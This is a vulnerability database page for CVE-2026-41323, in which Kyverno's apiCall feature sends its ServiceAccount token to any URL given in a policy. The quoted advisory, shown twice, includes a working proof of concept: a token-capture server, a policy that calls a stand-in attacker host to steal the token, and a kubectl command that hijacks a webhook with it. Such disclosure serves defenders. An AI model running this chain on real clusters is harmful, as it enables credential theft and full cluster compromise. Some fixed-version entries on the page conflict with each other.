CVE-2026-41323

Kyverno: ServiceAccount token leaked to external servers via apiCall service URL

8.1 HighFix available

Kyverno is a policy engine designed for cloud native platform engineering teams. Prior to versions 1.18.0-rc1, 1.17.2-rc1, and 1.16.4, Kyverno's apiCall feature in ClusterPolicy automatically attaches the admission controller's ServiceAccount token to outgoing HTTP requests. The service URL has no validation — it can point anywhere, including attacker-controlled servers. Since the admission controller SA has permissions to patch webhook configurations, a stolen token leads to full cluster compromise. Versions 1.18.0-rc1, 1.17.2-rc1, and 1.16.4 patch the issue.

Attack profile

How easy it is to exploit

Attack vector: Network
Complexity: Low
Privileges needed: Low
User interaction: None

What an attacker can affect

Confidentiality: High
Integrity: High
Availability: None

Exploit likelihood

0.56%Up 0.5 points since Apr 24, 2026

What each source reports

CVE List Score used 8.1

Kyverno: ServiceAccount token leaked to external servers via apiCall service URL

Record: CVE-2026-41323
CVSS 3.1: 8.1 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Weakness: CWE-200, CWE-918
Updated: 2026-11-02

EUVDEUVD-2026-25389 8.1

Record: EUVD-2026-25389
CVSS 3.1: 8.1 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Updated: 2026-11-02

GitHub AdvisoriesGHSA-f9g8-6ppc-pqq4 8.1

Kyverno: ServiceAccount token leaked to external servers via apiCall service URL

Summary

Kyverno's apiCall feature in ClusterPolicy automatically attaches the admission controller's ServiceAccount token to outgoing HTTP requests. The service URL has no validation — it can point anywhere, including attacker-controlled servers. Since the admission controller SA has permissions to patch webhook configurations, a stolen token leads to full cluster compromise.

Affected version

Tested on Kyverno v1.17.1 (Helm chart default installation). Likely affects all versions with apiCall service support.

Details

There are two issues that combine into one attack chain.

The first is in pkg/engine/apicall/executor.go around line 138. The service URL from the policy spec goes straight into http.NewRequestWithContext():

req, err := http.NewRequestWithContext(ctx, string(apiCall.Method), apiCall.Service.URL, data)

No scheme check, no IP restriction, no allowlist. The policy validation webhook (pkg/validation/policy/validate.go) only looks at JMESPath syntax.

The second is at lines 155-159 of the same file. If the request doesn't already have an Authorization header, Kyverno reads its own SA token and injects it:

if req.Header.Get("Authorization") == "" {
    token := a.getToken()
    req.Header.Add("Authorization", "Bearer "+token)
}

The token is the admission controller's long-lived SA token from /var/run/secrets/kubernetes.io/serviceaccount/token. With the default Helm install, this SA (kyverno-admission-controller) can read and PATCH both MutatingWebhookConfiguration and ValidatingWebhookConfiguration.

Reproduction

Environment: Kyverno v1.17.1, K3s v1.34.5, single-node cluster, default Helm install

Step 1: Start an HTTP listener on an attacker machine:

# capture_server.py
from http.server import HTTPServer, BaseHTTPRequestHandler
import json, datetime

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        print(json.dumps({
            "timestamp": str(datetime.datetime.now()),
            "path": self.path,
            "headers": dict(self.headers)
        }, indent=2))
        self.send_response(200)
        self.send_header("Content-Type", "application/json")
        self.end_headers()
        self.wfile.write(b'{"ok": true}')

HTTPServer(("0.0.0.0", 9999), Handler).serve_forever()

Step 2: Create a ClusterPolicy that calls the attacker server:

apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: ssrf-poc
spec:
  validationFailureAction: Audit
  background: false
  rules:
  - name: exfil
    match:
      any:
      - resources:
          kinds:
          - Pod
    context:
    - name: exfil
      apiCall:
        service:
          url: "http://ATTACKER-IP:9999/steal"
        method: GET
        jmesPath: "@"
    validate:
      message: "check"
      deny:
        conditions:
          any:
          - key: "{{ exfil }}"
            operator: Equals
            value: "NEVER_MATCHES"

Step 3: Create any pod to trigger policy evaluation:

kubectl run test --image=nginx

Step 4: The listener receives the SA token immediately:

Authorization: Bearer eyJhbGciOiJSUzI1NiIs...

Decoded JWT sub claim: system:serviceaccount:kyverno:kyverno-admission-controller

Every subsequent pod creation sends the token again. No race condition, no timing — it fires every time.

Step 5: Use the token to hijack webhooks:

# Verify permissions
kubectl auth can-i patch mutatingwebhookconfigurations \
  --as=system:serviceaccount:kyverno:kyverno-admission-controller
# yes

# Patch the webhook to redirect to attacker
kubectl patch mutatingwebhookconfiguration kyverno-policy-mutating-webhook-cfg \
  --type='json' \
  -p='[{"op":"replace","path":"/webhooks/0/clientConfig/url","value":"https://ATTACKER:443/mutate"}]' \
  --token="eyJhbG..."

After this, every K8s API request that triggers the webhook goes to the attacker's server. The attacker can mutate any pod spec —…

Record: GHSA-f9g8-6ppc-pqq4
CVSS 3.1: 8.1 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Weakness: CWE-200, CWE-918
Updated: 2026-11-02

NVD 8.1

Record: CVE-2026-41323
CVSS 3.1: 8.1 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
CVSS 3.1: 9.1 CriticalCVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
Weakness: CWE-200, CWE-918
Updated: 2026-11-02

OSV 8.1

Kyverno: ServiceAccount token leaked to external servers via apiCall service URL

Record: CVE-2026-41323
CVSS 3.1: 8.1 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Weakness: CWE-200, CWE-918
Updated: 2026-11-02

OSVGHSA-f9g8-6ppc-pqq4 8.1

Kyverno: ServiceAccount token leaked to external servers via apiCall service URL

Summary

Affected version

Tested on Kyverno v1.17.1 (Helm chart default installation). Likely affects all versions with apiCall service support.

Details

There are two issues that combine into one attack chain.

The first is in pkg/engine/apicall/executor.go around line 138. The service URL from the policy spec goes straight into http.NewRequestWithContext():

req, err := http.NewRequestWithContext(ctx, string(apiCall.Method), apiCall.Service.URL, data)

No scheme check, no IP restriction, no allowlist. The policy validation webhook (pkg/validation/policy/validate.go) only looks at JMESPath syntax.

The second is at lines 155-159 of the same file. If the request doesn't already have an Authorization header, Kyverno reads its own SA token and injects it:

if req.Header.Get("Authorization") == "" {
    token := a.getToken()
    req.Header.Add("Authorization", "Bearer "+token)
}

Reproduction

Environment: Kyverno v1.17.1, K3s v1.34.5, single-node cluster, default Helm install

Step 1: Start an HTTP listener on an attacker machine:

# capture_server.py
from http.server import HTTPServer, BaseHTTPRequestHandler
import json, datetime

class Handler(BaseHTTPRequestHandler):
    def do_GET(self):
        print(json.dumps({
            "timestamp": str(datetime.datetime.now()),
            "path": self.path,
            "headers": dict(self.headers)
        }, indent=2))
        self.send_response(200)
        self.send_header("Content-Type", "application/json")
        self.end_headers()
        self.wfile.write(b'{"ok": true}')

HTTPServer(("0.0.0.0", 9999), Handler).serve_forever()

Step 2: Create a ClusterPolicy that calls the attacker server:

apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: ssrf-poc
spec:
  validationFailureAction: Audit
  background: false
  rules:
  - name: exfil
    match:
      any:
      - resources:
          kinds:
          - Pod
    context:
    - name: exfil
      apiCall:
        service:
          url: "http://ATTACKER-IP:9999/steal"
        method: GET
        jmesPath: "@"
    validate:
      message: "check"
      deny:
        conditions:
          any:
          - key: "{{ exfil }}"
            operator: Equals
            value: "NEVER_MATCHES"

Step 3: Create any pod to trigger policy evaluation:

kubectl run test --image=nginx

Step 4: The listener receives the SA token immediately:

Authorization: Bearer eyJhbGciOiJSUzI1NiIs...

Decoded JWT sub claim: system:serviceaccount:kyverno:kyverno-admission-controller

Every subsequent pod creation sends the token again. No race condition, no timing — it fires every time.

Step 5: Use the token to hijack webhooks:

# Verify permissions
kubectl auth can-i patch mutatingwebhookconfigurations \
  --as=system:serviceaccount:kyverno:kyverno-admission-controller
# yes

# Patch the webhook to redirect to attacker
kubectl patch mutatingwebhookconfiguration kyverno-policy-mutating-webhook-cfg \
  --type='json' \
  -p='[{"op":"replace","path":"/webhooks/0/clientConfig/url","value":"https://ATTACKER:443/mutate"}]' \
  --token="eyJhbG..."

After this, every K8s API request that triggers the webhook goes to the attacker's server. The attacker can mutate any pod spec —…

Record: GHSA-f9g8-6ppc-pqq4
CVSS 3.1: 8.1 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
Weakness: CWE-200, CWE-918
Updated: 2026-11-02

OSVBIT-kyverno-2026-41323 No score

Kyverno: ServiceAccount token leaked to external servers via apiCall service URL

Kyverno is a policy engine designed for cloud native platform engineering teams. Prior to versions 1.18.0, 1.17.2, and 1.16.4, Kyverno's apiCall feature in ClusterPolicy automatically attaches the admission controller's ServiceAccount token to outgoing HTTP requests. The service URL has no validation — it can point anywhere, including attacker-controlled servers. Since the admission controller SA has permissions to patch webhook configurations, a stolen token leads to full cluster compromise. Versions 1.18.0, 1.17.2, and 1.16.4 patch the issue.

Record: BIT-kyverno-2026-41323
Updated: 2026-11-02

OSVGO-2026-5351 No score

Kyverno: ServiceAccount token leaked to external servers via apiCall service URL in github.com/kyverno/kyverno

Kyverno: ServiceAccount token leaked to external servers via apiCall service URL in github.com/kyverno/kyverno

Record: GO-2026-5351
Updated: 2026-11-02

OSVopenSUSE-SU-2026:21483-1 No score

Security update for govulncheck-vulndb

This update for govulncheck-vulndb fixes the following issues:

Update to version 0.0.20260723T184607 2026-07-23T18:46:07Z (jsc#PED-11136).

Go CVE Numbering Authority IDs added or updated with aliases:

GO-2026-4730 CVE-2026-33022 GHSA-cv4x-93xx-wgfj
GO-2026-4761 CVE-2026-33211 GHSA-j5q5-j9gm-2w5c
GO-2026-5102 CVE-2026-45021 GHSA-3vcp-chfh-f6r2
GO-2026-5272 CVE-2026-40938 GHSA-94jr-7pqp-xhcq
GO-2026-5486 CVE-2026-40924 GHSA-m2cx-gpqf-qf74
GO-2026-5542 CVE-2026-40090 GHSA-pj97-4p9w-gx3q
GO-2026-5630 CVE-2026-25542 GHSA-rmx9-2pp3-xhcr
GO-2026-5643 CVE-2026-40923 GHSA-rx35-6rhx-7858
GO-2026-5675 CVE-2026-41492 GHSA-vvf7-6rmr-m29q
GO-2026-5711 CVE-2026-40161 GHSA-wjxp-xrpv-xpff
GO-2026-5746 CVE-2026-41567 GHSA-x86f-5xw2-fm2r
GO-2026-5749 CVE-2026-41328 GHSA-x92x-px7w-4gx4
GO-2026-5837 CVE-2026-44840 GHSA-q2m9-6jp9-c6mc
GO-2026-5929 CVE-2026-44342 GHSA-26v7-h57m-gh9m
GO-2026-5930 CVE-2026-33655 GHSA-6qcr-qxgr-m7fv
GO-2026-5933 GHSA-3g4q-2f67-2gvh
GO-2026-5934 GHSA-59qp-cfj3-rp64
GO-2026-5935 GHSA-7856-g3gv-9wq8
GO-2026-5936 CVE-2026-53552 GHSA-26rh-24rg-j3vv
GO-2026-5937 CVE-2026-53508 GHSA-2jcc-mxv7-p3f9
GO-2026-5938 CVE-2026-53553 GHSA-4g5x-hcwm-82jw
GO-2026-5939 CVE-2026-10517 GHSA-698x-9w2p-7vvp
GO-2026-5940 CVE-2026-53572 GHSA-6w3m-4hhp-775q
GO-2026-5941 CVE-2026-53487 GHSA-gvhc-wv3v-7pf8
GO-2026-5942 CVE-2026-46600
GO-2026-5944 CVE-2026-50197 GHSA-659f-rgp5-w4wf
GO-2026-5945 CVE-2026-6815 GHSA-rmxx-v9rj-vpvg
GO-2026-5946 CVE-2026-52831 GHSA-v5px-423j-pf7p
GO-2026-5947 CVE-2026-53649 GHSA-xqhv-chqm-fhcc
GO-2026-5948 CVE-2026-50554 GHSA-588f-fvcv-xhvf
GO-2026-5949 CVE-2026-50553 GHSA-rqrh-8wpv-x7hh
GO-2026-5950 CVE-2026-53602 GHSA-339v-266x-79xr
GO-2026-5951 CVE-2026-10219 GHSA-6jm8-4fhr-5w64
GO-2026-5952 CVE-2026-49834 GHSA-9vcr-p3rj-q5q6
GO-2026-5953 CVE-2026-9094 GHSA-c9w5-qp6m-m395
GO-2026-5956 CVE-2026-55252 GHSA-h5g6-xmh4-hc37
GO-2026-5957 CVE-2026-54158 GHSA-5xfx-xj4h-5p7r
GO-2026-5958 CVE-2026-54068 GHSA-gcm7-57gf-953c
GO-2026-5959 CVE-2026-54072 GHSA-h29v-hj44-q8cv
GO-2026-5961 CVE-2026-54069 GHSA-hvr9-72v2-fff3
GO-2026-5962 CVE-2026-54088 GHSA-m93h-4hw7-5qcm
GO-2026-5963 CVE-2026-54067 GHSA-mvjr-vv3c-w4qv
GO-2026-5964 CVE-2026-54066 GHSA-p4m3-mgmm-c664
GO-2026-5965 CVE-2026-54070 GHSA-w7cg-whh7-xp28
GO-2026-5966 CVE-2026-54089 GHSA-xqp3-jq6g-x3qm
GO-2026-5967 CVE-2026-50551 GHSA-56mp-4f3v-fgj2
GO-2026-5968 CVE-2026-54174 GHSA-fpg8-7664-jc5q
GO-2026-5969 GHSA-g936-7jqj-mwv8
GO-2026-5970 CVE-2026-56852
GO-2026-5973 CVE-2026-54250 GHSA-jxr7-mqhw-9p98
GO-2026-5974 CVE-2026-44300 GHSA-wmj8-9953-vff5
GO-2026-5975 CVE-2026-50018 GHSA-42j2-w334-qxw7
GO-2026-5976 CVE-2026-50141 GHSA-g7mm-9vx7-jm7h
GO-2026-5977 CVE-2026-50013 GHSA-qrh4-p6v4-mrfg
GO-2026-5978 CVE-2026-50125 GHSA-qw5r-ppcg-f8rj
GO-2026-5979 CVE-2026-50006 GHSA-xrcf-6jh3-ggvx
GO-2026-5980 CVE-2026-50158 GHSA-2c7f-fxww-6w6c
GO-2026-5981 GHSA-mqxv-9rm6-w8qc
GO-2026-5982 GHSA-pqg7-v6wh-3pfp
GO-2026-5984 CVE-2026-53604 GHSA-2p2f-px33-4vv5
GO-2026-5985 GHSA-7rx3-5wx3-5v76
GO-2026-5986 CVE-2026-61699 GHSA-cm26-5974-52h8
GO-2026-5987 CVE-2026-55513 GHSA-g4x6-jcvr-9m3g
GO-2026-5988 CVE-2026-54628 GHSA-hwrq-8wxh-q4xv
GO-2026-5989 CVE-2026-55512 GHSA-m3cx-mwpg-32jg
GO-2026-5990 CVE-2026-54629 GHSA-mf78-3rpf-r784
GO-2026-5991 CVE-2026-53603 GHSA-q4vm-pq3q-8wgq
GO-2026-5992 CVE-2026-61549 GHSA-qf34-295c-26v8
GO-2026-5996 CVE-2026-54450 GHSA-pph6-vfjv-vpjw
GO-2026-5997 CVE-2026-54452 GHSA-xgch-x3mx-cm3c
GO-2026-5998 CVE-2026-54495 GHSA-398h-7f66-3h4p
GO-2026-5999 CVE-2026-10814 GHSA-jh6h-v6mp-h22v
GO-2026-6002 CVE-2026-58196 GHSA-pr64-jmmf-jp54
GO-2026-6003 CVE-2026-53714 GHSA-22xc-xg2r-9j7v
GO-2026-6004 CVE-2026-52833 GHSA-3v79-m2cg-89ww
GO-2026-6005 CVE-2026-53715 GHSA-8fv2-88gg-hm7q
GO-2026-6006 CVE-2026-53716 GHSA-cxpq-8v7q-cg56 *…

Record: openSUSE-SU-2026:21483-1
Updated: 2026-11-02

Affected products

kyverno

Affected packages

Affected packages
Package	Affected	Fixed
`github.com/kyverno/kyverno` Go	before 1.17.0	1.17.0
`kyverno` Bitnami	before 1.16.4, 1.17.0 up to 1.17.2	1.16.41.17.2
`govulncheck-vulndb` openSUSE:Leap 16.0 From an advisory covering 1734 CVEs	before 0.0.20260723T184607-160000.1.1	0.0.20260723T184607-160000.1.1

History

History
Recorded	Changed	Sources
Nov 6, 2026	affected, facts
Nov 2, 2026	first indexed	CVE List, EUVD, GitHub Advisories, NVD, OSV

Dates are when Every CVE recorded each change. Upstream dates may differ.

In short

CVE-2026-41323 is a high vulnerability (CVSS 8.1) in Kyverno, published April 16, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.56%, the 46th percentile. Fixed in github.com/kyverno/kyverno 1.17.0.

References

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Left out here: 1,542 references and the rest of 3 source descriptions. The JSON record has them.